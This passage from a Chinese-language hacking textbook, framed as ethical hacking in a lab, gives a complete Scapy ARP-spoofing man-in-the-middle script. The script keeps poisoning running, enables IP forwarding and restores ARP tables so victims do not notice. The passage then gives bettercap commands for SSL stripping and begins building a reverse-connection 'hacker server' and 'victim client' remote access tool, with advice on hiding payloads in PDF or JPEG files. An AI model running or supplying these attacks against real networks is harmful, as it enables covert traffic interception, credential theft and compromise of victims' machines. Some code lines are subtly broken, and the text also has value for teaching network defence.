在本节中,我们将学习如何构建一个 ARP 欺骗程序。在我们继续之前,让我们再次查看 Kali 和 Windows 中的 ARP 表。Kali Linux 中的 ARP 表如下所示:

图 5.6 – Kali Linux 中的 ARP 表
Windows 中的 ARP 表如下所示。请查看高亮显示的字段:

图 5.7 – Windows 10 中的 ARP 表
如你所见,它们有正确的路由器 MAC 地址,路由器位于 192.168.74.2。Kali 位于 192.168.74.128,而 Windows 10 位于 192.168.74.129。
为了欺骗这些设备,我们将一步一步解决这个问题。首先,我们将从用路由器的 MAC 地址欺骗受害者机器开始。
ARP 欺骗项目
在 Kali Linux 中打开 VS Code,创建一个名为 ARP 欺骗的新项目。安装虚拟环境,如 第二章 所示, 入门 – 设置实验环境。安装虚拟环境后,通过输入以下命令启用虚拟环境:
source venv/bin/activate
这将激活新的虚拟环境。在该环境中安装 Scapy 模块,并创建一个名为 main.py 的新文件。
要在一行中导入所有的 scapy 模块,而不必分别显式导入每个模块,可以写出以下代码:
from scapy.all import *
* 表示我们要导入 scapy 中的所有模块。如前一节所学,为了进行欺骗,我们需要创建伪造的响应。首先,我们将为受害者创建一个响应。为此,我们将创建一个 arp 数据包,并查看可以在其中设置哪些字段。为了创建 ARP 数据包并查看其中的字段,我们可以编写以下代码:
arp_response = ARP()
print(arp_response.show())
这段代码的输出结果如下所示:

图 5.8 – ARP 数据包字段
我们感兴趣的字段从 op 开始。Op 代表操作或数据包类型。这是一个 who has 操作,意味着它是一个 ARP 请求。但我们更感兴趣的是创建一个 ARP 响应。hwsrc 是 Kali 机器的 MAC 地址,类似地,psrc 是它的 IP 地址。hwdst 和 pdst 目前还没有设置。现在,为了欺骗受害者,我们将在此数据包中做以下修改:
-
将
op改为2,这意味着这是一个响应的 ARP 数据包,而不是请求数据包。请注意,默认情况下,这个值为 1,表示它对应的是who-has操作。 -
将
psrc地址字段修改为等于路由器的 IP 地址。由于我们的路由器位于192.168.72.2,所以我们将此字段设置为该值。 -
最后,我们将
pdst设置为受害机器的ip地址,即192.168.74.129。我们还将设置hwdst地址,即受害者的 MAC 地址。
要查看 Windows 机器的 MAC 地址,你可以在命令提示符中输入以下命令,或者使用我们在上一章创建的网络扫描器:
Ipconfig /all
一旦你获得了必要的信息,接下来可以在 Python 中进行以下更改:
arp_response.op = 2
arp_response.pdst = "192.168.74.129" // Windows IP
arp_response.hwdst = "00:0C:29:BE:47:14" // Windows MAC
arp_response.hwsrc = "00:0c:29:90:79:02" // kali mac
arp_response.psrc = "192.168.74.2" // 假的字段值
只有最后一个字段被构造;我们将从192.168.74.128发送它,同时伪装成192.168.74.2。当所有字段都设置完毕后,你可以打印它们来查看它们是否已正确定义:
print(arp_response.show())
以下截图显示了根据我们之前编写的代码伪造的数据包:

图 5.9 – 伪造的 ARP 数据包
在这里,你可以看到op字段现在是响应,而不是请求。字段的值现在是is-at。类似地,psrc字段现在伪装成了路由器的 IP 地址,而不是 Kali 的 IP 地址。请注意,我们还没有发送这个数据包。要发送此数据包,我们可以简单地使用send函数:
send(arp_response)
现在,如果你运行这个程序并迅速去 Windows 机器,在arp表被重置之前,你会看到 Windows 机器的arp表已经被污染,它的arp表项显示了错误的 MAC 地址,指向192.168.72.2网关。现在,它指向 Kali 的 MAC 地址,而不是实际的网关:

图 5.10 – Windows 中的污染 ARP 表
将此与图 5.6中的192.168.74.2值进行比较。这里,你可以看到这个新表中的物理地址值已被修改。请注意,如果你查看这个值的时间过长,它将被自动重置。我们稍后会学习如何防止它自动重置,以便延长污染的持续时间。
现在,让我们创建一个函数,以便我们可以轻松调用它:
def spoof_victim():
arp_response = ARP()
arp_response.op = 2
arp_response.pdst = "192.168.74.129"
arp_response.hwdst = "00:0C:29:BE:47:14"
arp_response.hwsrc = "00:0c:29:90:79:02"
arp_response.psrc = "192.168.74.2"
send(arp_response)
我们将创建一个类似的函数来伪造路由器:
def 欺骗路由器():
arp_response = ARP()
arp_response.op = 2
arp_response.pdst = "192.168.74.2" // 路由器的 IP 地址
arp_response.hwdst = "00:50:56:ff:74:8b" // 路由器的 mac 地址
arp_response.hwsrc = "00:0c:29:90:79:02" // kali 的 mac 地址
arp_response.psrc = "192.168.74.129" // 假装是设备 A 的 IP
send(arp_response)
在这个函数中,我们已经改变了 pdst、hwdst 和 psrc 的值。
完整的程序如下:
from scapy.all import *
def 欺骗受害者():
arp_response = ARP()
arp_response.op = 2
arp_response.pdst = "192.168.74.129"
arp_response.hwdst = "00:0C:29:BE:47:14"
arp_response.hwsrc = "00:0c:29:90:79:02"
arp_response.psrc = "192.168.74.2"
send(arp_response)
def 欺骗路由器():
arp_response = ARP()
arp_response.op = 2
arp_response.pdst = "192.168.74.2"
arp_response.hwdst = "00:50:56:ff:74:8b"
arp_response.hwsrc = "00:0c:29:90:79:02"
arp_response.psrc = "192.168.74.129"
send(arp_response)
if name == "main":
欺骗受害者()
欺骗路由器()
注意,这只会欺骗这些设备一次。为了创建持久的欺骗,我们可以将这些函数调用添加到循环中,并在一定延迟后持续发送这些数据包。这样,arp 表将没有机会重置,你将能够永久欺骗这些设备,只要你的欺骗程序仍在运行。
我们也可以尝试在循环中设置退出条件。我们将使用 KeyboardInterrupt 来退出。使用以下代码在每 2 秒延迟后持续发送数据包:
try:
while True:
欺骗受害者()
欺骗路由器()
time.sleep(2)
except KeyboardInterrupt as err:
print("退出")
注意,你需要在文件顶部导入 time 模块。尽管我们的欺骗程序看起来已经完成,但仍然有一个小问题——如果受害者现在尝试请求互联网服务器,他们将看到互联网连接问题。运行 arp 欺骗程序在 Linux 上,并去 Windows 机器尝试访问一个网站。你将看到一个类似于以下的窗口:

图 5.11 – 无连接
这是因为数据包正在发送到 Kali 机器,但它正在阻止数据包的转发。为了启用数据包转发,请在 Linux 终端中运行以下命令:
sysctl -w net.ipv4.ip_forward=1
这将在 Kali 机器上启用 IP 转发。现在,Windows 用户将能够访问互联网,而不会察觉到有人正在拦截他们的流量:

图 5.12 – 启用 IPv4 转发
现在,如果你去 Windows 机器并再次尝试访问一个网站,你应该能够连接到互联网。现在,你的欺骗程序应该完美运行。
监控流量
要查看用户正在做什么,可以在 Kali 上打开Wireshark,并选择eth0接口来查看所有经过网络的流量。要仅查看来自 Windows 机器的流量,可以在过滤器菜单中设置过滤器。使用以下过滤器:
ip.src == 192.168.74.129
这将仅显示来自 Windows 机器的流量。现在,如果你去 Windows 机器并访问一个网站,你应该会在 Wireshark 中看到数据包到达:

图 5.13 – 来自 Windows 机器的 Wireshark 流量
在本节中,我们学习了如何毒化 ARP 表并监视受害设备与互联网之间的网络流量。在下一节中,我们将学习这些网络流量是如何加密的,以及如何破解这种加密。
加密流量
在互联网早期,网络流量主要是基于文本的,因此所有嗅探网络的人都能准确地看到传输的数据内容。这是极不安全的,且人们无法通过网络发送敏感信息,例如密码。从那时起,互联网发展迅速。现在,除了一些非常旧的网站外,大多数互联网流量都是安全的,并使用加密技术。这意味着即使你能看到流量,也无法读取它,因为它是加密的。如果你看到一个网站 URL 上有https标签,表示该网络流量是加密的,不能通过网络读取。有一些工具可以用来解密这种流量。
手动恢复 ARP 表
现在我们已经看到如何成功伪造数据包,当我们使用键盘中断(如Ctrl + C)关闭程序时,我们会发现 Windows 机器上的互联网再次变得不可用。这是因为 ARP 表已经被毒化,而且我们没有恢复它们,所以它们不知道如何路由网络流量。几分钟后,这一情况会自动恢复。然而,这可能引起受害者的怀疑,他们可能意识到有人在篡改他们的网络流量。为避免这种情况,我们可以在退出程序时通过发送正确的信息来恢复这些表。我们可以使用以下程序来恢复正确的值:
def restore():
恢复路由器表
arp_response = ARP()
arp_response.op = 2
arp_response.pdst = "192.168.74.2"
arp_response.hwdst = "00:50:56:ff:74:8b"
arp_response.hwsrc = "00:0C:29:BE:47:14"
arp_response.psrc = "192.168.74.129"
send(arp_response)
恢复 Windows 表
arp_response = ARP()
arp_response.op = 2
arp_response.pdst = "192.168.74.129"
arp_response.hwdst = "00:0C:29:BE:47:14"
arp_response.hwsrc = "00:50:56:ff:74:8b"
arp_response.psrc = "192.168.74.2"
send(arp_response)
请注意,这些值适用于我的平台;它们会根据你的平台有所不同,因此你应该相应地更改这些值。为了恢复 ARP 表,从我们的 Linux 机器向路由器发送这些值,同时伪装成设备 A。这一次,输入正确的值,而不是虚假的信息。对于 Windows 机器,也做同样的操作。最后,当发生键盘中断时,调用此函数,如下所示:
try:
while True:
spoof_victim()
spoof_router()
time.sleep(2)
except KeyboardInterrupt as err:
print("正在恢复 ARP 表")
restore()
print("退出")
在本节中,我们学习了如何毒化 ARP 表,监控网络流量,并恢复受害机器中的 ARP 表,以确保它们不会怀疑我们的活动。接下来,我们将学习如何解密这些网络流量。
解密网络流量
正如我们在前一节所看到的,我们可以通过中间人攻击来拦截流量。然而,这种攻击通常独立使用时效果有限,因为现在几乎所有的浏览器流量都是加密的,因此即使你能够拦截流量,也无法做太多事情。你可以通过使用 SSL 去除攻击来绕过这个过程。在没有加密的情况下拦截流量,有时在你想监控用户活动时也很有用。这可以帮助你了解用户访问哪些网站最频繁。将这些信息与社会工程攻击结合使用,可以帮助你攻破受害者的机器。
HTTPS 与 HTTP
要理解 SSL 去除攻击如何工作,我们需要了解 超文本传输协议(HTTP) 和 HTTPS 协议的工作原理。HTTPS 是 HTTP 的 安全 版本,正如其名称结尾的 S 所示。它是在互联网初期开发的,当时信息以人类可读的文本形式发送,任何拦截或监控流量的人都可能看到正在发生的事情。
一个典型的 HTTP 请求大概长这样:

图 5.14 – HTTP 请求
如你所见,HTTP 请求的正文是纯文本形式,这意味着它可以轻松读取。因此,如果你以纯文本的形式将电子邮件或密码发送给服务器,黑客可能会窃取你的凭证。你已经知道这有多危险。为了解决这个问题,开发了 HTTPS,它可以加密消息的正文,确保只有服务器和请求者可以用正确的加密密钥读取,任何中间人都无法读取。当服务器收到请求后,它将回应适当的回复。服务器的回复大致如下:

图 5.15 – HTTP 回复
最后一行代表回复的主体,即用户请求的网页。在 HTTPS 的情况下,这些请求和响应的主体会被加密,攻击者看到的内容将是乱码。现在,让我们关注如何绕过这一点。
绕过 HTTPS
尽管如今大多数网站都支持 HTTPS 而非 HTTP,但为了保持向后兼容性,服务器端仍然允许来自HTTP的请求,并在接收到这些请求后检查客户端/请求者是否支持 HTTPS。我们可以利用这一点绕过这一安全机制。下图展示了 HTTP 请求如何与 Web 服务器协作:

图 5.16 – HTTP 循环
当客户端首次访问网站时,通常是通过 HTTP 协议,因此它会发送一个不安全的请求来启动连接。服务器接收到此请求后,会询问客户端是否支持 HTTPS。如果客户端支持 HTTPS,服务器会说,为什么不通过 HTTPS 与我通信呢? 客户端随后切换到 HTTPS。一旦发生这种情况,所有通信都会被加密。
在这里,我们将介绍我们的中间人攻击者。我们将通过一种方式来欺骗服务器和客户端。让我们看看以下示意图:

图 5.17 – SSL 剥离的 MITM 攻击
在第一阶段,客户端将向服务器发出 HTTP 请求。攻击者坐在客户端和服务器之间,并使用ARP欺骗程序来监控我们在上一章中开发的流量。攻击者会将客户端的请求转换为 HTTPS 请求,并将其转发给服务器。服务器会认为客户端是通过 HTTPS 而不是 HTTP 与之通信。类似地,攻击者会从服务器获取回复,解密并读取发生的内容。一旦完成,他们会将其转发给受害者/客户端。通过这种方式,受害者会认为服务器是在通过 HTTP 通信,而服务器会认为客户端是在通过 HTTPS 通信。同时,攻击者可以读取所有的网络流量。
攻击者的工作是加密和解密 SSL 证书,这些证书用于服务器在传输层上进行安全认证。它们构成了安全通信的基础。学习如何执行 SSL 剥离超出了本书的范围,因为它需要广泛的网络知识,这本身就可以成为一本书。我们的目标是在此使用该工具进行系统的破解。我们将使用一个著名的 SSL 剥离工具,叫做bettercap。我们将使用版本 2.23。请注意,最新的该组件工具似乎无法正常工作。可以从github.com/bettercap/bettercap/releases/download/v2.23/bettercap_linux_amd64_2.23.zip下载。
下载此工具并在 Linux 上运行它。
下载后,将这个压缩文件放在 Kali Linux 上的目标位置,并解压模块。你会看到一个名为bettercap的可执行文件。你可以直接运行这个可执行文件,它会正常工作。然而,我建议将其放在/usr/bin/目录下,这样你就可以在任何地方访问它,因此将这个文件复制到/usr/bin/目录。
要复制文件,请使用以下命令:
sudo cp bettercap /usr/bin/bettercap
一旦复制完成,只需打开终端并输入bettercap来运行该文件。在继续之前,我们需要做一些准备工作。输入以下命令:
sudo bettercap
界面将如下所示:

图 5.18 – bettercap 版本
接下来,你需要更新一些内容,即名为 caplets 的一些内部文件。别担心—你不需要了解太多关于 caplets 的内容。只需输入以下命令并让魔法发生:
caplets.update
这将下载一些文件并更新它们。
退出这个程序以让更改生效。现在,让我们用以下命令再次运行程序:
sudo bettercap –-silent -iface eth0
该命令将在静默模式下运行bettercap,并使用eth0作为主要网络接口。要查看网络上有哪些设备,可以输入以下命令:
net.probe on
该命令的输出将如下所示:

图 5.19 – 网络上的实时主机
让我们尝试使用内部的arpspoof程序来进行这个应用。输入以下命令来设置我们 Windows 机器的arp欺骗:
set arp.spoof.targets 192.168.74.129
这将设置受害者。要启动arp欺骗程序,我们可以输入以下命令:
set arp.spoof.internal true
set arp.spoof on
这将开始欺骗设备:

图 5.20 – 设备欺骗
到目前为止,我们已经进入了SSL剥离部分。为了开始剥离 HTTPS 流量,我们需要去 Windows 机器并清除所有浏览历史。这将确保我们不会加载网站的缓存版本。
如果你想查看 bettercap 上正在运行的服务,可以使用以下帮助命令:

图 5.21 – 帮助命令
接下来,要查看原始的 HTTP 流量,运行以下命令:
hstshijack/hstshijack
这将开始剥离流量。现在,如果你去 Windows 机器并访问像 google.com 这样的网站,你会看到该网站连接是不安全的。如果你访问 google.com,你会注意到 URL 前面有一个不安全的标签。
你现在应该看到一个不安全的 Google。如果你去到运行 bettercap 的 Kali Linux 终端,你应该能看到网络流量。
注意!
请注意,像谷歌、脸书等大公司在其安全上投入了大量资金,并不断尝试改进其保护方法,因此今天有效的攻击手段,明天可能就不再有效了。这就是为什么渗透测试人员和网络安全防御团队总是在进行一场追逐游戏。前面的例子旨在展示这些方法如何在实践中运作。当你自己使用它时,情况可能会有所变化,这种攻击方法可能有效,也可能无效。因此,保持更新非常重要。本书的目的是让你理解渗透测试人员和安全分析师的思维方式,而不是让你停留在使用特定工具上。
总结
在本章中,我们基于上一章学到的知识,构建了一个 ARP 欺骗程序,使我们能够拦截局域网中的流量。然后,我们学习了 HTTP 和 HTTPS 协议的工作原理,以及它们如何通过中间人攻击被破坏。
在下一章,我们将讨论一个更令人兴奋的话题:恶意软件开发。这可以帮助我们手动控制受害者的机器并执行某些任务。通过这样做,我们将学习如何构建一个恶意软件远程访问工具,以控制受害者的计算机。我们将构建一个程序,使我们能够远程控制受害者的机器并执行多项任务。下一章见!
第三部分:恶意软件开发
在这一部分,我们将进入一个新的话题。我们将从恶意软件开发过程开始,学习如何使用 Python 创建自己的恶意软件。能够创建自己的恶意软件是伦理黑客的重要组成部分。在第六章,恶意软件开发中,我们将使用套接字编程创建一个非常基础的恶意软件远程访问工具。这将使你能够开发可以用于黑客攻击目标计算机的恶意软件。在第七章,高级恶意软件中,我们将开发恶意软件的更高级功能,比如从受害者计算机中窃取敏感文件等。在第八章,后期利用中,我们将讨论后期利用的方面,也就是一旦你获得对受害者计算机的访问权限后需要做的事情。最后一章涉及系统保护——如何保护你的系统免受攻击,以及黑客利用哪些弱点来控制你的系统。我们还将讨论如何使恶意软件具备持久性,并在任何时候控制受害者的计算机。
本书的内容包括以下章节:
-
第六章,恶意软件开发
-
第七章,高级恶意软件
-
第八章,后期利用
-
第九章,系统保护与持久性
第六章: 恶意软件开发
在前几章中,我们学习了如何收集与用户相关的信息,以及这些信息如何被用来攻击受害者。在本章中,我们将进入一个新的维度,开发远程访问工具(RAT)。RAT 允许渗透测试人员远程访问受害者的计算机,并广泛应用于网络安全领域。互联网上有许多更先进的 RAT 程序。然而,本章的目标是帮助你构建自己的 RAT,这将使你能够获得更高级的控制。
本章我们将涵盖以下主题:
-
RAT 简介
-
Python 中的套接字编程
-
创建恶意软件
-
在受害者机器上远程执行命令
了解 RAT(远程访问工具)
RAT 在网络安全中被广泛使用,市面上有许多流行的 RAT 工具。一些黑客甚至提供定制的、难以检测的 RAT 工具,用于获取受害者计算机的访问权限。在最简单的形式中,RAT 是一种程序,它与另一台计算机建立网络连接并执行某个操作。RAT 可以是合法软件,例如常见的商业软件 TeamViewer,IT 专业人员常用它来远程诊断计算机并检测问题。然而,这些程序也可以被黑客用来控制受害者的机器,因此你在使用这些程序时要非常小心。
在最简单的形式中,RAT 是一对程序。一种程序在受害者的机器上运行,而另一种程序在攻击者的机器上运行。这些程序有两种主要配置,取决于谁发起通信。它们定义如下:
-
一种由攻击者发起连接的程序,称为正向连接
-
使受害者的机器与黑客的机器建立连接的程序,称为反向连接
接下来我们将详细讨论这些内容。
正向 Shell
在现代计算机系统中,正向连接几乎是不可能的,因为大多数个人电脑的安全配置不允许远程设备发起连接,除非防火墙中有特定规则。默认情况下,所有的入站连接都被防火墙阻止。只有在受害者的机器上存在可以被黑客利用的开放端口时,这些连接才有可能。然而,你会发现,在大多数典型的场景中,情况并非如此。
反向 Shell
反向 shell 采用相反的方法。攻击者不会主动发起连接到受害者,而是通过在受害者的机器上植入恶意软件/有效载荷(在受害者机器上执行的代码)。通过这种方式,不是外部连接,而是由受害者发起的内部连接,这使得入侵检测系统(IDS)如防火墙和杀毒程序更难检测系统上的恶意活动。此类攻击的部署方式是,攻击者将一个包含恶意软件的文件发送给受害者,该文件嵌入在 PDF 或 JPEG 文件中。例如,受害者看到的会像是一个普通文件,但当受害者点击该文件并打开时,后台会执行一个脚本,从而发起连接回攻击者。一旦与攻击者的连接建立,攻击者就可以轻松地控制受害者的机器,并在受害者的机器上远程执行命令。现在我们已经了解了正向 shell 和反向 shell,接下来我们来讨论 Python 中的套接字。
Python 中的套接字编程
在学习恶意软件开发之前,我们必须先学习 Python 中的网络编程以及如何创建网络应用程序。学习网络编程的第一步是了解我们所称的 套接字。套接字为创建基于网络的应用程序提供了一个基本的机制,而我们的恶意软件本质上将是一个网络应用程序。让我们首先从理解套接字开始。
套接字
在我们进入套接字编程之前,让我们先了解什么是网络套接字,以及它如何用于开发基于网络的应用程序。正如我们在前面的章节中学到的,网络协议栈的最上层是应用层。这些是用户在日常生活中与之交互的应用程序。现在,问题是,这些使用不同编程语言开发的应用程序如何在网络上进行通信呢?答案就在于套接字的使用。这里对套接字的定义是:docs.oracle.com/javase/tutorial/networking/sockets/definition.html。
套接字是网络中两个程序之间双向通信链路的一个端点。套接字绑定到一个端口号,以便 TCP 层可以识别数据应该发送到哪个应用程序。
套接字通常用于客户端-服务器通信,其中一个节点是发起连接的客户端,而另一个节点是响应该连接的服务器。在连接的每一端,每个进程,例如网络启动程序或网络响应程序,都将使用一个套接字。套接字通常通过一个 IP 地址与一个端口号的组合来标识。在典型场景中,服务器通常会在某个端口上监听来自客户端的连接请求。一旦客户端请求到达,服务器就接受请求并与客户端建立套接字连接。
实现特定服务的服务器,如HTTP、FTP和telnet,会在常见的知名端口上监听,例如80、21和23。端口范围从1到1024被视为知名端口,不应在实现自己的程序时使用,因为它们已经被保留。在下一节中,我们将尝试理解 Python 中套接字的工作原理,并了解如何利用这一点来创建我们的恶意软件程序。
在 Python 中创建一个套接字
要在 Python 中创建一个套接字,我们可以利用socket库。这个库是 Python 标准包的一部分,所以我们无需安装任何东西。
只需输入以下代码即可导入此模块:
import socket
让我们看一下这个模块的应用程序编程接口(API)。API 是对代码库的软件接口,它让你以某种抽象层次访问代码的功能。
socket.socket() API
要创建一个套接字对象,我们可以使用以下函数,称为socket()。让我们来看一下这个方法的参数。要查看在 VS Code 中函数可用的参数,你只需输入函数名,然后,利用 VS Code 的 Intelli Sense 技术(它可以帮助你写代码并提供建议),你就可以看到该函数所需的参数。要访问这个菜单,只需将光标放在函数名上,弹出的小窗口就会显示该方法所需的参数。如果你想查看该方法的详细实现,可以右键点击socket函数的名称,选择转到定义。这将打开一个文件,其中定义了这个方法。请小心不要在这里做任何更改。如果你没有使用 VS Code,你可以在这里阅读关于 Python socket 模块的文档:docs.python.org/3/library/socket.html。这个方法的实现大致如下:

图 6.1 – 套接字类构造函数
上面的截图显示了 socket 是一个类,它的构造函数需要 family、type 和 proto 参数。我们将在本章下一节开始构建程序时讨论这些参数。现在,你只需要理解调用这个 socket 类的构造函数会返回一个 socket 对象,可以用来与其他设备进行通信。
socket.bind() API
一旦你创建了一个 socket 对象,要创建一个服务器,你需要将 socket 绑定到将用于通信的 IP 地址和端口。请注意,这个函数仅在创建服务器程序时使用。对于服务器,这些必须显式分配,因为服务器必须在指定的端口上监听传入的连接。而对于客户端,IP 和端口会自动分配,因此你不会使用此函数。
socket.listen() API
socket.listen() 方法被服务器用于根据 socket.bind() 方法中配置的参数监听任何传入的连接。换句话说,它会等待任何连接尝试,指定的 IP 上指定的端口。此方法需要一个队列大小,表示在开始拒绝连接之前,允许在队列中保存的连接数。例如,socket.listen(5) 意味着它一次最多允许五个连接。
socket.accept() API
如其名称所示,socket.accept() API 用于接受客户端发起的连接。这是一个阻塞函数调用,意味着程序执行将在此暂停,直到成功建立连接。一旦连接建立,程序执行将继续进行。
socket.connect()
正如我们已经看到的,socket.accept() 会阻塞执行,直到客户端连接,接下来就出现了一个问题,客户端如何连接?这时socket.connect() 就发挥作用了。此方法用于发起与服务器的连接,如果服务器正在等待传入连接,通信将开始。当调用 socket.connect() 时,服务器中的 socket.accept() 会解除阻塞,程序的执行将继续进行。如果你现在感到困惑,不知道哪些函数在服务器中调用,哪些在客户端中调用,不用担心。当我们构建示例时,你将清楚理解这些内容。
socket.send()
一旦服务器和客户端程序之间建立了连接,程序的最重要部分就开始了,那就是通过这些连接发送数据。这是大多数用户自定义逻辑所在的地方。socket.send() 方法用于通过网络发送字节。请注意,该函数的输入是字节,因此你想要通过此连接发送的任何数据都应该以字节的形式存在。用户有责任将适当的数据编码为字节,并在接收端进行解码。
Socket.recv()
如其名称所示,这种方法用于在用户发送数据后接收字节。请注意,每次调用发送或接收方法时,都应妥善处理。例如,如果服务器正在发送数据,则客户端应准备好接收这些数据,反之亦然。该方法的输入是您希望一次接收的字节数。这是程序创建的缓冲区,用于暂时存储数据,一旦接收到一定数量的字节,就可以读取数据,缓冲区也准备好进行下一轮操作。
socket.close()
一旦完成了您想要在程序中执行的所有操作,必须关闭套接字,以便该端口可以被其他程序使用。请注意,即使您没有正确关闭套接字,当程序退出或计算机重启后,操作系统也会在一段时间后释放它。然而,手动在程序中关闭这些套接字始终是个好主意。如果程序退出时套接字没有正确关闭,任何传入的请求可能会被阻塞,或者操作系统可能会拒绝让下一个程序使用该套接字,因为它可能认为该端口仍在使用中。
将它们组合起来
到目前为止,我们已经学习了套接字 API 的不同方法,但为了清楚理解每个函数如何以及在何处使用,我将在这里总结所有内容。我们将分别运行两个程序。一个将作为服务器监听传入的连接,另一个将作为客户端尝试建立连接。让我们看一下下面的图表,看看套接字 API 中各部分如何组合在一起:

图 6.2 – Python 中的客户端和服务器套接字使用
图中显示了两个并行运行的程序,即客户端和服务器。你可能会想,这个客户端和服务器如何与我们的黑客目的相关?实际上,我们将采用类似的方式来开发恶意软件。我们将编写两个程序。一个程序将在黑客的机器上运行,我们将其称为服务器/黑客程序,另一个程序将在客户端上运行;我们将其称为受害者程序。受害者程序将尝试与黑客程序建立连接。这样,由于连接是从受害者的机器发起的,防病毒软件或入侵检测系统(IDS)将不会阻止它。在本节中,我们了解了如何使用 Python 进行套接字编程。我们没有深入讲解如何创建这些程序。在下一节中,我们将利用这个套接字 API 来创建恶意软件中的受害者和黑客部分。
创建恶意软件
现在我们已经看到了恶意软件程序的大致框架,让我们开始编写我们的黑客和受害者程序。
黑客服务器
在这一部分,我们将编写黑客服务器的程序,它将持续监听来自受害者机器到黑客机器的传入连接。让我们去我们的 Kali 机器,创建一个名为hacker server的新项目。同时,像前几章一样创建一个新的虚拟环境。此部分我们不需要任何外部库,但使用虚拟环境来跟踪程序中的依赖总是一个好主意。还要创建一个名为server.py的新文件。
我们 Kali 机器的 IP 地址是192.168.74.128,而受害者的 Windows 机器的 IP 地址是192.168.74.129。接下来,我们需要选择监听的端口,用于接收传入的连接。你可以选择一个大于1024且小于65355的端口。然而,我们将使用端口号8008。这将是我们绑定服务器的端口,如果客户端想要连接到服务器,它需要使用这个端口。让我们导入 socket 模块并创建一个 socket 对象。看一下以下代码:
导入 socket
if name == "main":
hacker_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
在第一行,我们只是从 Python 标准库中导入了socket模块。接下来,我们正在创建一个 socket 对象。两个参数是socket.AF_INET和socket.SOCK_STREAM。让我们看看它们的含义。记得我们之前提到过 IPv4 和 IPv6 地址吗?这正是socket.AF_INET的含义。我们正在使用 IPv4,它由socket.AF_INET表示。如果你想使用 IPv6(虽然你可能不会),你可以选择socket.AF_INET6。接下来,我们需要定义想要使用的网络层协议。在这里,我们可以选择 TCP 或 UDP。在我们的示例中,我们想要使用可靠的连接,因此我们将选择 TCP。socket.SOCK_STREAM意味着我们正在创建一个 TCP socket。如果你想创建一个 UDP socket(不过,你可能大部分时间都不会这么做),你可以使用socket.SOCK_DGRAM。
接下来,我们将把这个服务器绑定到 Kali 的 IP 地址和端口8008:
IP = "192.168.74.128"
Port = 8008
socket_address = (IP, Port)
hacker_socket.bind(socket_address)
请注意,你需要以元组形式将 IP 地址和端口传递给socket.bind()方法。
接下来,我们需要使用以下命令来监听指定的 socket 上的传入连接:
hacker_socket.listen(5)
现在我们的程序配置几乎完成,可以开始监听传入的连接请求了:
hacker_socket.listen(5)
print("正在监听传入的连接请求")
hacker_socket, client_address = hacker_socket.accept()
程序的执行将在这里暂停。一旦客户端连接,方法将返回两个参数。第一个是hacker_socket,我们可以用它来发送和接收数据,第二个是受害者的地址。这将帮助程序知道哪个客户端已连接。
一旦连接被接受,我们就可以使用这个 socket 通过网络发送消息。正如之前所提到的,accept 函数是阻塞的,这意味着执行将在此暂停,直到有人连接。为了演示这一点,我们可以运行程序。你将看到以下输出:

图 6.3 – 等待传入连接
你将看到程序不会超过此步骤。你可以按 Ctrl + C 退出程序。现在,让我们尝试从 黑客 向受害者发送一条简单的消息。现在,我们将发送一个简单的字符串,但在后面的章节中,我们将发送更复杂的数据,例如文件:
message = "Message from hacker"
message_bytes = message.encode()
hacker_socket.send(message_byte)
print("Message sent from hacker")
message.encode() 方法将消息字符串转换为字节,因为 socket.send() 方法只接受字节。
最后,我们通过调用 close() 方法关闭此 socket。
黑客程序的完整代码如下所示:
import socket
if name == "main":
hacker_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
IP = "192.168.74.128"
Port = 8008
socket_address = (IP, Port)
hacker_socket.bind(socket_address)
hacker_socket.listen(5)
print("listening for incoming connection requests")
hacker_socket, client_address = hacker_socket.accept()
message = "Message from hacker"
message_bytes = message.encode()
hacker_socket.send(message_bytes)
print("Message sent")
hacker_socket.close()
我们的黑客程序现在完成了。接下来,我们将转到受害者程序,受害者程序将与黑客建立连接。
受害者客户端
转到 Windows 10 机器,并为受害者创建一个新项目。前几步将与黑客程序相似。请查看以下代码:
import socket
if name == "main":
victim_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
hacker_IP = "192.168.74.128"
hacker_port = 8008
hacker_address = (hacker_IP, hacker_port)
由于我们要连接到黑客,我们需要提供黑客的 IP 地址和黑客监听的端口。
接下来,我们将为 hacker_address 创建一个元组。
下一步是使用受害者的 socket 与黑客 connect() 连接:
victim_socket.connect(hacker_address)
一旦调用此方法,如果服务器正在监听,我们将成功建立连接,否则我们将看到错误信息。如果现在运行程序,你会看到连接被拒绝的消息:

图 6.4 – 连接失败
这是因为,如果某个端口上没有服务器在监听,所有传入的流量默认会被阻塞。记得在我们的黑客程序中,我们正在发送一条消息吗?我们需要在这里处理这条消息,否则会遇到错误。我们可以使用 recv 方法接收消息:
data = victim_socket.recv(1024)
1024是套接字一次可以读取的字节数。来自黑客的数据如果超过这个数量,会被截断。我们可以使用循环来接收更多数据。现在,这个数值已经足够。
最后,由于我们以字节形式接收数据,我们需要将其解码为字符串,以便打印出来,并在程序中稍后使用(如果需要的话):
print(data.decode())
victim_socket.close()
我们可以使用close()方法关闭套接字。完整的程序如下:
import socket
if name == "main":
victim_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
hacker_IP = "192.168.74.128"
hacker_port = 8008
hacker_address = (hacker_IP, hacker_port)
victim_socket.connect(hacker_address)
data = victim_socket.recv(1024)
print(data.decode())
victim_socket.close()
现在我们的黑客和受害者程序在最简单的形式下已经完成。黑客程序正在监听传入的连接,而受害者程序尝试与黑客程序连接。一旦连接建立,黑客就会向受害者发送消息。受害者接收到消息后会将其打印出来。然后,双方关闭各自的连接。到目前为止,我们所学的是通用的套接字编程。一旦我们理解了如何在网络中的两个设备之间建立连接,我们就可以将这些程序应用到创建恶意程序上,允许黑客在受害者的计算机上执行恶意活动。
让我们将所有内容结合起来。首先,运行黑客程序,然后运行受害者程序。这一次,连接将被正确建立,在黑客的机器上,你将看到以下输出:

图 6.5 – 黑客程序
类似地,受害者将接收到消息并在屏幕上显示:

图 6.6 – 受害者接收到的消息
我们已经完成了拼图的一部分,即从受害者机器到黑客机器建立了一个成功的连接,并接收到了一个由黑客发送的小消息。这看起来可能不是什么大任务,但它是一个非常强大的工具。利用这个,你基本上可以从黑客那里接收命令。设计受害者程序执行这些命令并将结果发送回黑客。在下一节中,我们将学习如何从黑客机器向受害者机器发送命令,并将结果发送回黑客。
在受害者机器上远程执行命令
